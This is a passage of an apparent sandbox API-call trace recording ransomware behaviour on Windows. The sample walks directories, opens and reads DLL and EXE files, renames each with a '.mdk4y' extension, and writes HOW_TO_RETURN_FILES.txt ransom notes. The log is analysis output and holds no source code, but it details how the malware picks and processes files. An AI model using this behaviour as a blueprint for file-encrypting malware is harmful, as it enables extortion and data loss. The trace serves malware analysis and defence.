lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 2 [0089.947] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="Admin+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 5 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a6b40, cbMultiByte=18, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\PerfLogs\\Admin\\ꢀj\x02") returned 18 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".otefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 1 [0089.947] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0089.947] AreFileApisANSI () returned 1 [0089.947] GetACP () returned 0x4e4 [0089.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..tefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 2 [0089.947] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 0 [0089.947] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0089.948] AreFileApisANSI () returned 1 [0089.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6998b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0089.948] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\perflogs\\admin\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0089.948] GetFileType (hFile=0x124) returned 0x1 [0089.949] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0089.949] FindClose (in: hFindFile=0x6ab1d0 | out: hFindFile=0x6ab1d0) returned 1 [0089.949] AreFileApisANSI () returned 1 [0089.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0089.949] CreateFileW (lpFileName="C:\\PerfLogs\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\perflogs\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37de28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0089.950] GetFileType (hFile=0x120) returned 0x1 [0089.950] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0089.950] AreFileApisANSI () returned 1 [0089.950] GetACP () returned 0x4e4 [0089.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Program Files", cchWideChar=13, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="Program Files Settings", lpUsedDefaultChar=0x37e17c) returned 13 [0089.950] AreFileApisANSI () returned 1 [0089.950] GetACP () returned 0x4e4 [0089.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a6b40, cbMultiByte=17, lpWideCharStr=0x37df10, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\7ൿł\x04") returned 17 [0089.950] AreFileApisANSI () returned 1 [0089.950] GetACP () returned 0x4e4 [0089.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 1 [0089.951] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 2 [0089.951] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Common Files", cchWideChar=12, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="Common FilesfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 12 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a6c30, cbMultiByte=30, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\島馧7㔏ĺ뇐j") returned 30 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".otefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 1 [0089.951] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..tefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 2 [0089.951] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DESIGNER", cchWideChar=8, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="DESIGNERff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 8 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=39, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\DESIGNER\\") returned 39 [0089.951] AreFileApisANSI () returned 1 [0089.951] GetACP () returned 0x4e4 [0089.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0089.952] AreFileApisANSI () returned 1 [0089.952] GetACP () returned 0x4e4 [0089.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 2 [0089.952] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0089.952] AreFileApisANSI () returned 1 [0089.952] GetACP () returned 0x4e4 [0089.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSADDNDR.DLL", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSADDNDR.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 12 [0089.952] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0089.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816518200000) returned 1 [0089.952] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x18340, lpOverlapped=0x0) returned 1 [0090.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816539000000) returned 1 [0090.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816539000000) returned 1 [0090.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.mdk4y")) returned 1 [0090.162] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0090.162] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0090.162] AreFileApisANSI () returned 1 [0090.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a4190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0090.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\designer\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0090.162] GetFileType (hFile=0x128) returned 0x1 [0090.163] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0090.163] AreFileApisANSI () returned 1 [0090.163] GetACP () returned 0x4e4 [0090.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="magnetic.exe", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="magnetic.exepd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 12 [0090.163] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0090.163] AreFileApisANSI () returned 1 [0090.163] GetACP () returned 0x4e4 [0090.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft Shared", cchWideChar=16, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="Microsoft SharedrrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37e064) returned 16 [0090.163] AreFileApisANSI () returned 1 [0090.163] GetACP () returned 0x4e4 [0090.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=47, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\h֠j7") returned 47 [0090.163] AreFileApisANSI () returned 1 [0090.163] GetACP () returned 0x4e4 [0090.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dfd8) returned 1 [0090.164] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0090.164] AreFileApisANSI () returned 1 [0090.164] GetACP () returned 0x4e4 [0090.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dfd8) returned 2 [0090.164] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0090.164] AreFileApisANSI () returned 1 [0090.164] GetACP () returned 0x4e4 [0090.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DW", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DW", lpUsedDefaultChar=0x37dfd8) returned 2 [0090.164] AreFileApisANSI () returned 1 [0090.164] GetACP () returned 0x4e4 [0090.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=50, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\滰k㑚ĺ괈j館i0") returned 50 [0090.310] AreFileApisANSI () returned 1 [0090.310] GetACP () returned 0x4e4 [0090.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 1 [0090.310] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0090.310] AreFileApisANSI () returned 1 [0090.310] GetACP () returned 0x4e4 [0090.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 2 [0090.310] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0090.310] AreFileApisANSI () returned 1 [0090.310] GetACP () returned 0x4e4 [0090.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DBGHELP.DLLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 11 [0090.310] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0090.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816554100000) returned 1 [0090.311] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0090.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816601600000) returned 1 [0090.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816601600000) returned 1 [0090.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.mdk4y")) returned 1 [0090.874] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0090.874] AreFileApisANSI () returned 1 [0090.874] GetACP () returned 0x4e4 [0090.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DW20.EXEDLL", lpUsedDefaultChar=0x37df4c) returned 8 [0090.874] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0090.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816610400000) returned 1 [0090.875] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf2b88, lpOverlapped=0x0) returned 1 [0091.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816642500000) returned 1 [0091.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816642500000) returned 1 [0091.203] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.mdk4y")) returned 1 [0091.204] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0091.204] AreFileApisANSI () returned 1 [0091.204] GetACP () returned 0x4e4 [0091.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DWTRIG20.EXE", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DWTRIG20.EXEfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pxsk", lpUsedDefaultChar=0x37df4c) returned 12 [0091.204] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0091.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816643500000) returned 1 [0091.205] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x99ba0, lpOverlapped=0x0) returned 1 [0091.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816656100000) returned 1 [0091.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816656100000) returned 1 [0091.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.mdk4y")) returned 